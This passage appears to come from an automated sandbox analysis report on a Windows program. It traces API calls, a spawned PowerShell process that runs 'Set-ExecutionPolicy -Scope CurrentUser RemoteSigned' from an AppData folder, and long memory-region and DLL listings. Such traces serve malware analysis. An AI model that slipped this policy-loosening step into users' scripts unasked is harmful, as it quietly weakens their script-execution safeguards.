dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x57d660 | out: lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessInformation=0x57d660*(hProcess=0x9c, hThread=0xa0, dwProcessId=0x9f0, dwThreadId=0x9f4)) returned 1 [0059.479] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.586] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.594] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.650] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.657] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.672] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.689] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.703] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.719] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.736] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.755] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.779] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.797] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.814] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.828] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.848] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.860] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.875] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.901] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.909] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.934] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.937] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0059.959] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.002] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.094] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.109] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.124] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.140] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.156] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.171] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.213] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.227] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.236] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.249] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.266] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.280] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.296] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.370] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.412] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.421] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.451] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.460] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.468] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.484] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.499] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.516] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.534] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.563] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.639] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.655] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.670] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.686] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.711] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.719] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.733] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.768] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.783] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.796] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.812] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.835] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.863] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.881] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.900] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.905] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.920] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.936] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.953] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.968] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.985] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0060.999] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.015] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.041] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.051] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.061] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.076] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.096] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.108] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.128] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.190] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.201] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.469] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.517] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.535] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.544] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.567] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.577] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.591] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.608] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.828] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.875] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.932] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.935] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.963] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.966] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0061.987] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0062.022] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0062.028] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0062.045] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0062.065] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0062.075] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0062.090] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0062.107] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) returned 0x102 [0062.121] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x1) Process: id = "10" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x20b58000" os_pid = "0x9f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x9e8" cmd_line = "powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 872 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 873 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 874 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 875 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 876 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 877 start_va = 0x190000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 878 start_va = 0x2a0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 879 start_va = 0x21e70000 end_va = 0x21ee1fff entry_point = 0x21e70000 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 880 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 881 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 882 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 883 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 884 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 885 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 886 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 887 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 888 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 893 start_va = 0x390000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 894 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 895 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 896 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 949 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 950 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 951 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 952 start_va = 0x290000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 953 start_va = 0x4c0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 954 start_va = 0x748f0000 end_va = 0x74939fff entry_point = 0x748f0000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 955 start_va = 0x74980000 end_va = 0x74993fff entry_point = 0x74980000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 956 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 957 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 958 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 959 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 960 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 961 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 962 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 963 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 964 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 965 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 966 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 967 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 968 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 969 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 970 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 971 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 972 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 973 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 974 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 975 start_va = 0x5c0000 end_va = 0x747fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 976 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 977 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 978 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 979 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 980 start_va = 0xf0000 end_va = 0xf2fff entry_point = 0xf0000 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 981 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 982 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 983 start_va = 0x750000 end_va = 0x8d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 984 start_va = 0x8e0000 end_va = 0x1cdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 985 start_va = 0x1d70000 end_va = 0x1daffff entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 986 start_va = 0x1e40000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 987 start_va = 0x1f00000 end_va = 0x1f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 988 start_va = 0x74d00000 end_va = 0x74d7ffff entry_point = 0x74d00000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 989 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 990 start_va = 0x1f40000 end_va = 0x201efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f40000" filename = "" Region: id = 991 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 992 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 993 start_va = 0x76670000 end_va = 0x772b9fff entry_point = 0x76670000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 994 start_va = 0x748d0000 end_va = 0x748e6fff entry_point = 0x748d0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 995 start_va = 0x75200000 end_va = 0x7520afff entry_point = 0x75200000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 996 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 997 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 998 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 999 start_va = 0x2f0000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1000 start_va = 0x330000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1001 start_va = 0x2020000 end_va = 0x22eefff entry_point = 0x2020000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1002 start_va = 0x749f0000 end_va = 0x74ae4fff entry_point = 0x749f0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 1003 start_va = 0x74e90000 end_va = 0x74eb0fff entry_point = 0x74e90000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 1004 start_va = 0x74ec0000 end_va = 0x7505dfff entry_point = 0x74ec0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1005 start_va = 0x756a0000 end_va = 0x756e4fff entry_point = 0x756a0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 1006 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1007 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 1008 start_va = 0x1d0000 end_va = 0x1eefff entry_point = 0x1d0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db") Region: id = 1009 start_va = 0x75e10000 end_va = 0x75e21fff entry_point = 0x75e10000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 1010 start_va = 0x75ff0000 end_va = 0x7618cfff entry_point = 0x75ff0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 1011 start_va = 0x76640000 end_va = 0x76666fff entry_point = 0x76640000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 1066 start_va = 0x460000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 1067 start_va = 0x1e80000 end_va = 0x1ebffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 1068 start_va = 0x22f0000 end_va = 0x23effff entry_point = 0x0 region_type = private name = "private_0x00000000022f0000" filename = "" Region: id = 1069 start_va = 0x23f0000 end_va = 0x27e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023f0000" filename = "" Region: id = 1070 start_va = 0x74940000 end_va = 0x7496dfff entry_point = 0x74940000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 1071 start_va = 0x749a0000 end_va = 0x749ebfff entry_point = 0x749a0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 1072 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1091 start_va = 0x74970000 end_va = 0x74978fff entry_point = 0x74970000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\SysWOW64\\linkinfo.dll" (normalized: "c:\\windows\\syswow64\\linkinfo.dll") Region: id = 1092 start_va = 0x170000 end_va = 0x173fff entry_point = 0x170000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1093 start_va = 0x1f0000 end_va = 0x21ffff entry_point = 0x1f0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db") Region: id = 1094 start_va = 0x220000 end_va = 0x223fff entry_point = 0x220000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1095 start_va = 0x1ce0000 end_va = 0x1d45fff entry_point = 0x1ce0000 region_type = mapped_file name = 